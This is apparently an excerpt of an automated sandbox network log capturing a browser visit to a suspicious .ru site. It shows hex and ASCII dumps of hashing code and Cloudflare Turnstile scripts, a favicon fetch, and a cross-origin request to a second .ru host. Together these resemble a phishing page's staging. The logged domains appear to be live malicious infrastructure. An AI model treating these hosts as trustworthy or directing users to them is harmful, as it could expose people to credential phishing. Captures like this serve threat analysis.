5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:49 UTC	686	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:49 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:14:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 92265e595f2c8c5d-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 17:14:49 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-18 17:14:49 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:50 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:50 UTC	740	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:14:50 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=hstsV7NWQ85XE8Q.4yrmaLVqJwAr3amPqUtPznzpFFc-1742318090-1.0.1.1-gMSR9hqXtBnDIcoHZro.grRZsbE_AmWx7BZ81VRiplIkgWDqJ11nN5KcNn92khMci2nTvmAdHC3MuhNgipLd2Q0o5BIrEuwCxBVJoLWh6uo; path=/; expires=Tue, 18-Mar-25 17:44:50 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 92265e5f4ea0433e-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 17:14:50 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-18 17:14:50 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:15 UTC	561	OUT	GET /bhanchod!i1eas HTTP/1.1 Host: bk6s.xqwqkd.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://o0o6.bvyunz.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
